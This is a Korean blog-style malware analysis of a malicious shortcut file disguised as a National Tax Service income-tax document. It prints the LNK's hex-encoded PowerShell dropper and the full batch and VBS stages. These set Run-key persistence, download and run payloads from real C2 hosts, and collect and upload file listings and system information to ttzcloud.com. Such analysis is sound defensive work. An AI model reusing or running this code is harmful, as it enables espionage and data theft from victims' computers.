파일 구성
- 파일명: d245f208d2a682f4d2c4464557973bf26dee756b251f162adb00b4074b4db3ac.zip
- 해시값
- MD5: ddd07976e889bfc58e2925cd22e5198a
- SHA-1: cabb494d8a2a36a3f653aa7900a14a921dccf05e
- SHA-256: d245f208d2a682f4d2c4464557973bf26dee756b251f162adb00b4074b4db3ac
- 총 3가지 파일이 들어가 있음
- 국세청 종합소득세 해명자료 제출 안내.hwp.lnk
- 바로가기 파일로 되어 있음
- 국채 및 통화안정증권 거래ㆍ보유 명세서(소득세법 시행규칙).hwp
- 근로소득지급명세서(개정안_230228).hwp
- 국세청 종합소득세 해명자료 제출 안내.hwp.lnk
국세청 종합소득세 해명자료 제출 안내.hwp
- 바로가기 파일로 되어 있으며 바이러스토탈 에서 트로이목마로 탐지됨
- 바이러스 토탈 탐지: 34/60
- 대상에 cmd.exe를 실행하는 것으로 되어 있는데 뒤에 아무 문자열이 나오지 않음
- LNK Parser를 통해 어떠한 데이터들이 담겨 있는지 확인
import LnkParse3
with open("C:\\Users\\dfrc\\Downloads\\SSView\\국세청 종합소득세 해명자료 제출 안내.hwp.lnk", "rb") as indata:
lnk = LnkParse3.lnk_file(indata)
lnk.print_json()
/c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l
^l -windowstyle hidden $dedicte=\"$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E
6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571
203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A65637420
7B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154
464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A
52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154
464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765
552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737
207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E49
4F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D4765555071
54462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D
273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345
546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C54
6571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A5776
6D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E76627327
3B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-',
'0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;\";Invoke-Expression $dedicte;",
"description": "hwp File",
"icon_location": ".hwp"
},
"extra": {
"ENVIRONMENTAL_VARIABLES_LOCATION_BLOCK": {
"size": 788,
"target_ansi": "%windir%\\system32\\cmd.exe",
"target_unicode": "%windir%\\system32\\cmd.exe"
}
},
"header": {
"accessed_time": null,
"creation_time": null,
"file_flags": [],
"file_size": 0,
"guid": "00021401-0000-0000-C000-000000000046",
"hotkey": "UNSET - UNSET {0x0000}",
"icon_index": 0,
"link_flags": [
"HasName",
"HasArguments",
"HasIconLocation",
"IsUnicode",
"HasExpString",
"PreferEnvironmentPath"
],
"modified_time": null,
"r_file_flags": 0,
"r_hotkey": 0,
"r_link_flags": 33555172,
"windowstyle": "SW_SHOWMINNOACTIVE"
},
"link_info": {}
}
- /c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l^l -windowstyle hidden
- || 연산자를 통해 파워쉘 명령어를 실행하는 것으로 보임
- $dedicte=\"$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E 6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571 203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A65637420 7B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154 464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A 52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154 464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765 552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737 207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E49 4F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D4765555071 54462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D 273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345 546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C54 6571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A5776 6D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E76627327 3B2620244F70757562635558546A3B
- 해당 문자열은 HEX 값으로 HXD로 확인해본 결과 파워쉘 스크립트를 통해 vbs 파일을 실행시킴
- zip 파일을 만들고 압축을 해제해서 bat 파일들을 드롭하는 것으로 보임
- lnk 파일 실행을 통해 다른 악성파일들을 가져옴
- vbs를 포함해서 총 8개의 파일이 새로 생성되는데, 국세청 종합소득세 한글 파일의 경우에는 lnk 파일이 실행된 후에 정상적인 파일로 덮어쓰기 위해 똑같은 경로에 생성되어 덮어씌어지는 것이고, vbs 코드에서 bat 파일들을 실행하는 것으로 보임
- 해당 문자열은 HEX 값으로 HXD로 확인해본 결과 파워쉘 스크립트를 통해 vbs 파일을 실행시킴
start.vbs
- 05770246.bat 파일을 백그라운드로 실행하려는 코드로 보임
- objConfig.ShowWindow = 0 → bat 파일 실행 시 창이 안보이게끔 하는 설정
Set wmObjStart = GetObject("winmgmts:win32_ProcessStartup")
Set objConfig = wmObjStart.SpawnInstance_
objConfig.ShowWindow = 0
oMNGDkAxevWHSiZA = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set wmObj = GetObject("winmgmts:win32_process")
res = wmObj.Create(oMNGDkAxevWHSiZA & "\05772046.bat", Null, objConfig, pid)
Set wmObj = Nothing
Set objConfig = Nothing
Set wmObjStart = Nothing
05772046.bat
- 스크립트가 위치한 곳으로 이동 후 start.vbs를 PC가 켜질때마다 실행되도록 레지스트리에 등록
- 43595826.bat, 36838375.bat 실행
- 43595826.bat 삭제
- 43595826.bat 파일도 없고, upok.txt 파일이 없으면 36838375.bat 다시 실행
- pakistan.txt 있으면 pakistan.txt 삭제 후 실행 종료
- pakistan.txt 없으면 temprun.bat 파일이 있는지 확인 후 삭제
- 67611071.bat 실행 시 인자로 “http://ttzcloud.com/list.php?f=%COMPUTERNAME%.txt” , "%~dp0TBMjS.cab" , “1” 넣어서 실행 → cab 파일을 다운로드 받는 행위
- "expand" 명령어를 사용하여 TBMjS.cab 파일의 내용을 현재 작업 디렉터리로 풀어냄
- 그 후에 cab 파일을 지우고 temprun.bat 실행 후 57초간 대기
- 또 pakistan.txt 없으면 temprun.bat 파일이 있는지 확인 후 삭제
@echo off
pushd "%~dp0"
if exist "43595826.bat" (
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul
call 43595826.bat > nul
call 36838375.bat > nul
del /f /q 43595826.bat > nul
)
if not exist "43595826.bat" (
if not exist "upok.txt" (
call 36838375.bat > nul
)
)
if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)
:1
if exist "temprun.bat" (
del /f /q temprun.bat
)
call 67611071.bat "http://ttzcloud.com/list.php?f=%COMPUTERNAME%.txt" "%~dp0TBMjS.cab" "1"> nul
expand TBMjS.cab -F:* %~dp0 > nul
del /f /q TBMjS.cab > nul
call temprun.bat > nul
timeout -t 57 /nobreak
if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)
:EXIT
del /f /q "pakistan.txt"
43595826.bat
- 67611071.bat 실행 시 "https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502", “49996.zip”, “0” 3개 인자를 넣어 줌
- 49996.zip 파일을 받는 행위를 하는것 같음
- zip 파일이 없으면 있는지 한번 더 확인 후 있으면 삭제 후 종료
- 63237951.bat 파일 실행 시 “49996.zip” , “49996”을 인자로 넣어줌
- zip 파일이랑 63237951.bat 파일 삭제
- dt가 빈 문자열이 아니면
- unzip.exe를 통해 zip 파일 압축 해제 후 삭제
- 49996 파일 삭제
- dt가 있으면 rundll32.exe %~dp0%dt% Run 실행 3번 반복
- for /L %%i IN (1,1,3) DO ( if exist %~dp0%dt% ( rundll32.exe %~dp0%dt% Run )
- 49996 파일을 실행하려고 하는 것으로 보이는데, 이 부분이 정상적인 hwp 파일을 실행시킴으로서 lnk 파일이 실행되었다고 의심하지 못하게 하려고 하는 부분인것으로 보임
- "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp [출처: app.any.run]
- for /L %%i IN (1,1,3) DO ( if exist %~dp0%dt% ( rundll32.exe %~dp0%dt% Run )
@echo off
pushd %~dp0
set fn=49996
call 67611071.bat "https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502" "%~dp0%fn%.zip" "0" > nul
if not exist %~dp0%fn%.zip (
goto END1
)
call 63237951.bat "%fn%.zip" "%fn%" > nul
set /p dt=<%~dp0%fn%
del /f /q %~dp0%fn% > nul
del /f /q %~dp063237951.bat > nul
if not "%dt%"=="" (
call unzip.exe -P "a" "%~dp0%fn%.zip" > nul
del /f /q %~dp0%fn%.zip > nul
for /L %%i IN (1,1,3) DO (
if exist %~dp0%dt% (
rundll32.exe %~dp0%dt% Run
)
timeout -t 90 /nobreak
if not exist %~dp0%dt% (
goto END1
)
)
)
:END1
if exist %~dp0%fn%.zip (
del /f /q %~dp0%fn%.zip > nul
)
36838375.bat
- 3개 폴더 안에 있는 파일 및 디렉토리들의 정보를 txt 파일에 저장
- downloads 폴더 → cuserdown.txt
- documents 폴더 → cuserdocu.txt
- desktop 폴더 → cuserdesk.txt
- nslookup을 통해 나온 ip 정보를 ipinfo.txt에 저장
- tasklist, systeminfo → tsklt.txt, systeminfo.txt 에 저장
- 5초간 대기 후 74727756.bat 파일을 통해 가져온 정보들을 전송하는 것으로 보임
- url = http://ttzcloud.com/upload.php
@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0cuserdown.txt
dir C:\Users\%username%\documents\ /s > %~dp0cuserdocu.txt
dir C:\Users\%username%\desktop\ /s > %~dp0cuserdesk.txt
nslookup myip.opendns.com resolver1.opendns.com > %~dp0ipinfo.txt
tasklist > %~dp0tsklt.txt
systeminfo > %~dp0systeminfo.txt
timeout -t 5 /nobreak
set url=http://ttzcloud.com/upload.php
call 74727756.bat "%url%" "cuserdown.txt" "%COMPUTERNAME%_cuserdown.txt" >nul
call 74727756.bat "%url%" "cuserdocu.txt" "%COMPUTERNAME%_cuserdocu.txt" >nul
call 74727756.bat "%url%" "cuserdesk.txt" "%COMPUTERNAME%_cuserdesk.txt" >nul
call 74727756.bat "%url%" "systeminfo.txt" "%COMPUTERNAME%_systeminfo.txt" >nul
call 74727756.bat "%url%" "ipinfo.txt" "%COMPUTERNAME%_ipinfo.txt" >nul
call 74727756.bat "%url%" "tsklt.txt" "%COMPUTERNAME%_tsklt.txt" >nul
67611071.bat
- url을 통해 request를 시도 하는데 3번째 인자가 0인지 1인지에 따라서 하는 행위가 조금 다름
- 1일때는 암호화 통신인거같고, 0일때는 그냥 통신인듯?
- 어쨌든 파일을 받아오는 역할을 하는 놈임
@echo off
pushd %~dp0
set "hcpmTcCioulsENut=%~1"
set "PRKGOEgCSjkrNLwA=%~3"
if not "%PRKGOEgCSjkrNLwA%" == "0" (
powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i %% $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) %% 256;$j = ($j + $s[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) %% 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$url = '%hcpmTcCioulsENut%';$VcuqEzofhsTtIrLF = '%~2';Add-Type -AssemblyName 'System.Web'; $key=(Get-Date).Ticks.ToString(); $queryString = $url.Split('?')[1]; $queryParams = $queryString -split '&' | ForEach-Object {$param = $_ -split '=';[PSCustomObject]@{Name = $param[0];Value = $param[1];}};$query = [System.Web.HttpUtility]::ParseQueryString('');$queryParams | ForEach-Object {$encoded = ESTR -PlainText $_.Value -Key $key;$query[$_.Name] = $encoded;};$url=$url.Split('?')[0]+'?'+$query.ToString()+'&'+'r='+$key;iwr -Uri $url -OutFile $VcuqEzofhsTtIrLF;" > nul
)else (
powershell -command "$url = '%hcpmTcCioulsENut%';$VcuqEzofhsTtIrLF = '%~2';iwr -Uri $url -OutFile $VcuqEzofhsTtIrLF;" > nul
)
63237951.bat
- 43595826.bat에서 call 63237951.bat "%fn%.zip" "%fn%" > nul 명령어 실행
- zip 파일 안에 파일들의 이름을 49996 파일에 입력
@echo off
pushd %~dp0
powershell -command "$s=new-object -com shell.application;$z=$s.Namespace('%~dp0%~1');$z.items().item(0).name;" > %~dp0%~2
74727756.bat
- 74727756.bat 파일을 통해 해당 명령어들 수행
- url = http://ttzcloud.com/upload.php
- call 74727756.bat "%url%" "cuserdown.txt" "%COMPUTERNAME%_cuserdown.txt" >nul call 74727756.bat "%url%" "cuserdocu.txt" "%COMPUTERNAME%_cuserdocu.txt" >nul call 74727756.bat "%url%" "cuserdesk.txt" "%COMPUTERNAME%_cuserdesk.txt" >nul call 74727756.bat "%url%" "systeminfo.txt" "%COMPUTERNAME%_systeminfo.txt" >nul call 74727756.bat "%url%" "ipinfo.txt" "%COMPUTERNAME%_ipinfo.txt" >nul call 74727756.bat "%url%" "tsklt.txt" "%COMPUTERNAME%_tsklt.txt" >nul
- 전체적인 흐름을 봤을 때 해당 악성 url에 피해자 PC의 정보를 읽은 txt 파일들을 POST 메소드를 통해 전송하는 것, 암호화 통신을 사용
- 서버에서의 응답이 'OK'인 경우 (상태 코드 200), 스크립트는 원본 파일을 삭제하고 스크립트 디렉토리에 upok.txt 라는 이름의 파일을 생성합니다.
@echo off
pushd %~dp0
set "tDTVLEqumwVkQwuk=%~1"
set fName=fn
set fData=fd
powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i %% $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) %% 256;$j = ($j + $s[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) %% 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='%tDTVLEqumwVkQwuk%';$fn='%~3';$fp='%~dp0%~2';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['%fName%']=$fn;$query['%fData%']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='%~dp0upok.txt';New-Item -ItemType File -Path $fpok;}" > nul
유포지 및 C&C 서버
- https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502 (188.116.36.185_네덜란드)
- http://ttzcloud.com (88.119.169.96_리투아니아)
'디지털포렌식 > 악성코드 샘플 분석' 카테고리의 다른 글
[Kimsuky] 인적사항.doc (0) | 2024.02.03 |
---|---|
[Kimsuky] 북의 핵위협 양상과 한국의 대응방향.chm (0) | 2024.02.02 |
[코니그룹] 카카오 보안메일 악성코드 (1) | 2023.10.31 |
전라남도 코로나 바이러스 대응 긴급 조회.hwp (1) | 2023.10.28 |
[라자루스] 미국 구인공고.zip 악성코드 (0) | 2023.10.28 |